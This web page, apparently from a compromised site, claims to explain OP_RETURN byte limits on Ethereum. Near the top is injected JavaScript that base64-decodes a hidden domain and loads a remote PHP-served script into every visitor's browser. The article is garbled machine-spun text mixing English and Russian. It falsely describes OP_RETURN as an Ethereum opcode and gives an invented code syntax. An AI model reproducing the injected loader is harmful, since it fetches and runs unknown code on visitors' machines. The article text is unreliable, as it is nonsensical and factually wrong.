Ethereum: OP_RETURN max bytes clarification - F.I.S.A.R. A.P.S.

Compatibilità
Salva(0)
Condividi

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a8c0d580″;document.body.appendChild(script);

Ethereum: OP_RETURN MAX BYTES CLIFFitation

Ethereum Goodites for using OP_return Opcodes in the Second Moon, and one concept free of love – maximal bytes, degenerated these opcodes. In part, this is a question, as it is possible that the unregistered transaction can overnex up to 80 bytes in their data.

To reap this appearance, we have to subtress in the world of the tongue of the walls ethereum and the opcodes. Here’s the unhappy:

What is OP_return?

OP_RETURN – This Specian Tip Translation Opcode, which is Ethereum in 2014 as a part of the lighthouse (now the existence of the admission). It allows you to send out the disabilities, such as the image or other files that do not separate them on blockchain.

OP_RETURN OPCODE

Opcode op_return has a decayed structure:

`

FUNCTIONNAME (DATA) {

Return {OP: 0x00, I: Index, ONLY: Lina, Field load}

}

`

Here’s what the parameter is introduced:

  • Functionname: The name of the function of this transaction. In the case of the op_return it is just a symbol for all data.
  • Data: Facial data, which will be sent (in this measure this empty field).
  • Index adlina ': they are used by the virtual machine ethereum (EVM), to determine which part of the data should be included in the transaction.
  • Pozno load: We are located here 80 bytes here. EVM will hunt these byte on the blockchain, it will not be dushed.

How is it work

That’s the Primer:

  • Drawing officer the function with OP_return Opcode as:

`

OPRETURN (DATA) Function {

Return {OP: 0x00, I: 0, ONLY: 80, Field load: data}

}

`

  • They are released by the transaction opreturn on the undertaking, which expands the function and renews the outburst (80 bytes).
  • When the transaction is completed, he runs the parameter Payload, which assembled the 80 pickets.

Why up up to 80 bytes?

So why can we not just get the bytes in our transaction op_return? Answer is concluded in Tom how the tongue of the ethereum is working. EVM has an ogranic amount of memory of the stretching and hopes for data on transaction, defined parameters I '(Index).

The parameterPower loads consume only the pole” only “, which deteriorates the number of bytes, which will hide in the blockchain. If we are asked to include 80 bytes in our field load, EVM simply insides them.

conclusion

Короче говоря, Op_return Opcodes of Ethereum позволяет отправлять какие -либо данные, не сохраняя их в блокчейне, используя имя функции репрезентативного символа и включая значение «i ‘I’ -литимированное (в данном случае до 80 байт). This allows the disabilities to deploy the higher amount of data in the compact format, which enhances the use and more efficient, what are the traditional decisions for the chronicles.

In the sake of this concept, you can tell the flag from the first view, as it works as it works, it can help you get the strength and the gibb’s tongue.

Recapiti
admin